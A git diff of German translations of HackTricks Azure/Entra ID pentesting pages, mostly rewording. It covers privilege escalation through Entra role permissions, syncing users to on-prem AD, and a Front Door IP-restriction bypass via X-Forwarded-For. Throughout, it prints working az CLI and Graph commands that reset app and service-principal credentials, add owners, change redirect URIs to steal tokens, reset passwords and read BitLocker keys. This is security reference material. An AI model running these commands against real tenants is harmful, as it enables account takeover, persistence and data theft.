[Aus den Dokumenten:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Microsoft Entra Pass-Through-Authentifizierung ermöglicht es Ihren Benutzern, sich **sowohl bei lokalen als auch bei cloudbasierten Anwendungen mit denselben Passwörtern anzumelden**. Diese Funktion bietet Ihren Benutzern ein besseres Erlebnis - ein Passwort weniger zu merken, und reduziert die IT-Hilfskosten, da Ihre Benutzer weniger wahrscheinlich vergessen, wie sie sich anmelden. Wenn sich Benutzer mit Microsoft Entra ID anmelden, validiert diese Funktion die Passwörter der Benutzer direkt gegen Ihr lokales Active Directory.
|
||||
[Aus den Dokumenten:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Microsoft Entra Pass-Through-Authentifizierung ermöglicht es Ihren Benutzern, sich mit denselben Passwörtern sowohl bei lokalen als auch bei cloudbasierten Anwendungen **anzumelden**. Diese Funktion bietet Ihren Benutzern ein besseres Erlebnis - ein Passwort weniger zu merken, und senkt die IT-Hilfskosten, da Ihre Benutzer weniger wahrscheinlich vergessen, wie sie sich anmelden. Wenn sich Benutzer mit Microsoft Entra ID anmelden, validiert diese Funktion die Passwörter der Benutzer direkt gegen Ihr lokales Active Directory.
|
||||
|
||||
In PTA werden **Identitäten** **synchronisiert**, aber **Passwörter nicht**, wie bei PHS.
|
||||
|
||||
@@ -1,30 +0,0 @@
|
||||
# Az- Synchronising New Users
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Synchronisierung von AzureAD-Benutzern von On-Prem zu AzureAD zur Eskalation
|
||||
|
||||
Um einen neuen Benutzer **von AzureAD zum On-Prem AD** zu synchronisieren, sind folgende Anforderungen erforderlich:
|
||||
|
||||
- Der **AzureAD-Benutzer** muss eine Proxy-Adresse (ein **Postfach**) haben
|
||||
- Eine Lizenz ist nicht erforderlich
|
||||
- Sollte **nicht bereits synchronisiert** sein
|
||||
```bash
|
||||
Get-MsolUser -SerachString admintest | select displayname, lastdirsynctime, proxyaddresses, lastpasswordchangetimestamp | fl
|
||||
```
|
||||
Wenn ein Benutzer wie dieser in AzureAD gefunden wird, um **darauf vom on-prem AD zuzugreifen**, müssen Sie nur **ein neues Konto erstellen** mit der **proxyAddress** der SMTP-E-Mail.
|
||||
|
||||
Automatisch wird dieser Benutzer **von AzureAD zum on-prem AD-Benutzer synchronisiert**.
|
||||
|
||||
> [!CAUTION]
|
||||
> Beachten Sie, dass Sie für diesen Angriff **keine Domain-Admin-Rechte** benötigen, Sie benötigen nur Berechtigungen, um **neue Benutzer zu erstellen**.
|
||||
>
|
||||
> Außerdem **umgeht dies nicht MFA**.
|
||||
>
|
||||
> Darüber hinaus wurde berichtet, dass eine **Kontosynchronisierung für Administratorkonten nicht mehr möglich ist**.
|
||||
|
||||
## References
|
||||
|
||||
- [https://www.youtube.com/watch?v=JEIR5oGCwdg](https://www.youtube.com/watch?v=JEIR5oGCwdg)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -3,7 +3,7 @@
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
> [!NOTE]
|
||||
> Beachten Sie, dass **nicht alle granularen Berechtigungen**, die integrierte Rollen in Entra ID haben, **für benutzerdefinierte Rollen verwendet werden können.**
|
||||
> Beachten Sie, dass **nicht alle granularen Berechtigungen**, die integrierte Rollen in Entra ID haben, **für die Verwendung in benutzerdefinierten Rollen geeignet sind.**
|
||||
|
||||
## Rollen
|
||||
|
||||
@@ -67,7 +67,7 @@ az ad app credential reset --id <appId> --append
|
||||
```
|
||||
### `microsoft.directory/applications/owners/update`
|
||||
|
||||
Indem sich ein Angreifer als Eigentümer hinzufügt, kann er die Anwendung manipulieren, einschließlich Anmeldeinformationen und Berechtigungen.
|
||||
Durch das Hinzufügen als Eigentümer kann ein Angreifer die Anwendung manipulieren, einschließlich Anmeldeinformationen und Berechtigungen.
|
||||
```bash
|
||||
az ad app owner add --id <AppId> --owner-object-id <UserId>
|
||||
az ad app credential reset --id <appId> --append
|
||||
@@ -77,7 +77,7 @@ az ad app owner list --id <appId>
|
||||
```
|
||||
### `microsoft.directory/applications/allProperties/update`
|
||||
|
||||
Ein Angreifer kann eine Umleitungs-URI zu Anwendungen hinzufügen, die von Benutzern des Mandanten verwendet werden, und dann Login-URLs teilen, die die neue Umleitungs-URL verwenden, um ihre Tokens zu stehlen. Beachten Sie, dass die Authentifizierung automatisch erfolgt, wenn der Benutzer bereits in der Anwendung angemeldet war, ohne dass der Benutzer etwas akzeptieren muss.
|
||||
Ein Angreifer kann eine Umleitungs-URI zu Anwendungen hinzufügen, die von Benutzern des Mandanten verwendet werden, und dann Login-URLs mit der neuen Umleitungs-URI teilen, um deren Tokens zu stehlen. Beachten Sie, dass die Authentifizierung automatisch erfolgt, wenn der Benutzer bereits in der Anwendung angemeldet ist, ohne dass der Benutzer etwas akzeptieren muss.
|
||||
|
||||
Es ist auch möglich, die Berechtigungen, die die Anwendung anfordert, zu ändern, um mehr Berechtigungen zu erhalten, aber in diesem Fall muss der Benutzer erneut die Aufforderung akzeptieren, die nach allen Berechtigungen fragt.
|
||||
```bash
|
||||
@@ -96,7 +96,7 @@ az ad sp credential reset --id <sp-id> --append
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Das neu generierte Passwort wird nicht in der Webkonsole angezeigt, daher könnte dies eine heimliche Möglichkeit sein, um Persistenz über einen Dienstprinzipal aufrechtzuerhalten.\
|
||||
> Über die API können sie mit folgendem Befehl gefunden werden: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json`
|
||||
> Über die API können sie gefunden werden mit: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json`
|
||||
|
||||
Wenn Sie den Fehler `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` erhalten, liegt das daran, dass **es nicht möglich ist, die Eigenschaft passwordCredentials** des SP zu ändern und Sie sie zuerst entsperren müssen. Dafür benötigen Sie eine Berechtigung (`microsoft.directory/applications/allProperties/update`), die es Ihnen ermöglicht, Folgendes auszuführen:
|
||||
```bash
|
||||
@@ -104,7 +104,7 @@ az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/<sp-o
|
||||
```
|
||||
### `microsoft.directory/servicePrincipals/synchronizationCredentials/manage`
|
||||
|
||||
Dies ermöglicht einem Angreifer, Anmeldeinformationen zu bestehenden Dienstprinzipalen hinzuzufügen. Wenn der Dienstprincipal erhöhte Berechtigungen hat, kann der Angreifer diese Berechtigungen übernehmen.
|
||||
Dies ermöglicht es einem Angreifer, Anmeldeinformationen zu bestehenden Dienstprinzipalen hinzuzufügen. Wenn der Dienstprincipal über erhöhte Berechtigungen verfügt, kann der Angreifer diese Berechtigungen übernehmen.
|
||||
```bash
|
||||
az ad sp credential reset --id <sp-id> --append
|
||||
```
|
||||
@@ -136,7 +136,7 @@ Diese Berechtigungen ermöglichen es, Dienstprinzipale zu deaktivieren und zu ak
|
||||
|
||||
Beachten Sie, dass der Angreifer für diese Technik zusätzliche Berechtigungen benötigt, um den aktivierten Dienstprinzipal zu übernehmen.
|
||||
```bash
|
||||
bashCopy code# Disable
|
||||
# Disable
|
||||
az ad sp update --id <ServicePrincipalId> --account-enabled false
|
||||
|
||||
# Enable
|
||||
@@ -164,6 +164,14 @@ az rest --method POST \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body "{\"id\": \"$credID\"}"
|
||||
```
|
||||
### Anwendungen Privilegieneskalation
|
||||
|
||||
**Wie in [diesem Beitrag](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/) erklärt,** war es sehr häufig, Standardanwendungen zu finden, die **API-Berechtigungen** vom Typ **`Application`** zugewiesen haben. Eine API-Berechtigung (wie im Entra ID-Portal genannt) vom Typ **`Application`** bedeutet, dass die Anwendung auf die API ohne Benutzerkontext (ohne dass sich ein Benutzer in die App einloggt) zugreifen kann und keine Entra ID-Rollen benötigt, um dies zu ermöglichen. Daher ist es sehr häufig, **hochprivilegierte Anwendungen in jedem Entra ID-Mandanten** zu finden.
|
||||
|
||||
Wenn ein Angreifer also über eine Berechtigung/Rolle verfügt, die es ihm erlaubt, **die Anmeldeinformationen (Geheimnis oder Zertifikat) der Anwendung zu aktualisieren**, kann der Angreifer eine neue Anmeldeinformation generieren und diese dann verwenden, um **sich als die Anwendung zu authentifizieren**, wodurch er alle Berechtigungen erhält, die die Anwendung hat.
|
||||
|
||||
Beachten Sie, dass der erwähnte Blog einige **API-Berechtigungen** gängiger Microsoft-Standardanwendungen teilt, jedoch hat Microsoft dieses Problem einige Zeit nach diesem Bericht behoben, und es ist jetzt nicht mehr möglich, sich als Microsoft-Anwendungen anzumelden. Es ist jedoch weiterhin möglich, **benutzerdefinierte Anwendungen mit hohen Berechtigungen zu finden, die missbraucht werden könnten**.
|
||||
|
||||
---
|
||||
|
||||
## Gruppen
|
||||
@@ -193,7 +201,7 @@ az ad group member add --group <GroupName> --member-id <UserId>
|
||||
```
|
||||
### `microsoft.directory/groups/dynamicMembershipRule/update`
|
||||
|
||||
Diese Berechtigung ermöglicht es, die Mitgliedschaftsregel in einer dynamischen Gruppe zu aktualisieren. Ein Angreifer könnte dynamische Regeln ändern, um sich selbst in privilegierte Gruppen aufzunehmen, ohne ausdrücklich hinzugefügt zu werden.
|
||||
Diese Berechtigung ermöglicht das Aktualisieren der Mitgliedschaftsregel in einer dynamischen Gruppe. Ein Angreifer könnte dynamische Regeln ändern, um sich selbst in privilegierte Gruppen aufzunehmen, ohne ausdrücklich hinzugefügt zu werden.
|
||||
```bash
|
||||
groupId="<group-id>"
|
||||
az rest --method PATCH \
|
||||
@@ -208,7 +216,7 @@ az rest --method PATCH \
|
||||
|
||||
### Dynamische Gruppen Privesc
|
||||
|
||||
Es könnte möglich sein, dass Benutzer ihre Berechtigungen eskalieren, indem sie ihre eigenen Eigenschaften ändern, um als Mitglieder dynamischer Gruppen hinzugefügt zu werden. Weitere Informationen finden Sie unter:
|
||||
Es könnte möglich sein, dass Benutzer ihre Berechtigungen eskalieren, indem sie ihre eigenen Eigenschaften ändern, um als Mitglieder dynamischer Gruppen hinzugefügt zu werden. Für weitere Informationen siehe:
|
||||
|
||||
{{#ref}}
|
||||
dynamic-groups.md
|
||||
@@ -224,7 +232,7 @@ az ad user update --id <user-id> --password "kweoifuh.234"
|
||||
```
|
||||
### `microsoft.directory/users/basic/update`
|
||||
|
||||
Dieses Privileg erlaubt es, die Eigenschaften des Benutzers zu ändern. Es ist üblich, dynamische Gruppen zu finden, die Benutzer basierend auf den Werten der Eigenschaften hinzufügen. Daher könnte dieses Recht einem Benutzer erlauben, den erforderlichen Eigenschaftswert festzulegen, um Mitglied einer bestimmten dynamischen Gruppe zu werden und Privilegien zu eskalieren.
|
||||
Dieses Privileg erlaubt es, die Eigenschaften des Benutzers zu ändern. Es ist üblich, dynamische Gruppen zu finden, die Benutzer basierend auf den Werten der Eigenschaften hinzufügen. Daher könnte diese Berechtigung einem Benutzer erlauben, den erforderlichen Eigenschaftswert festzulegen, um Mitglied einer bestimmten dynamischen Gruppe zu werden und Privilegien zu eskalieren.
|
||||
```bash
|
||||
#e.g. change manager of a user
|
||||
victimUser="<userID>"
|
||||
@@ -289,7 +297,7 @@ az rest --method GET \
|
||||
|
||||
### `microsoft.directory/bitlockerKeys/key/read`
|
||||
|
||||
Diese Berechtigung ermöglicht den Zugriff auf BitLocker-Schlüssel, was einem Angreifer ermöglichen könnte, Laufwerke zu entschlüsseln und die Vertraulichkeit von Daten zu gefährden.
|
||||
Diese Berechtigung ermöglicht den Zugriff auf BitLocker-Schlüssel, was einem Angreifer erlauben könnte, Laufwerke zu entschlüsseln und die Vertraulichkeit von Daten zu gefährden.
|
||||
```bash
|
||||
# List recovery keys
|
||||
az rest --method GET \
|
||||
|
||||
@@ -0,0 +1,18 @@
|
||||
# Az - Dateifreigaben
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## RemoteAddr Bypass
|
||||
|
||||
Dieser **[Blogbeitrag](https://trustedsec.com/blog/azures-front-door-waf-wtf-ip-restriction-bypass)** erklärt, wie Sie beim Konfigurieren von Netzwerkbeschränkungen mit Azure Front Door basierend auf **`RemoteAddr`** oder **`SocketAddr`** filtern können. Der Hauptunterschied besteht darin, dass **`RemoteAddr`** tatsächlich den Wert aus dem **`X-Forwarded-For`** HTTP-Header verwendet, was es sehr einfach macht, dies zu umgehen.
|
||||
|
||||
Um diese Regel zu umgehen, können automatisierte Tools verwendet werden, die **IP-Adressen brute-forcen**, bis sie eine gültige finden.
|
||||
|
||||
Dies wird in der [Microsoft-Dokumentation](https://learn.microsoft.com/en-us/azure/web-application-firewall/afds/waf-front-door-configure-ip-restriction) erwähnt.
|
||||
|
||||
|
||||
## Referenzen
|
||||
|
||||
- [https://trustedsec.com/blog/azures-front-door-waf-wtf-ip-restriction-bypass](https://trustedsec.com/blog/azures-front-door-waf-wtf-ip-restriction-bypass)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user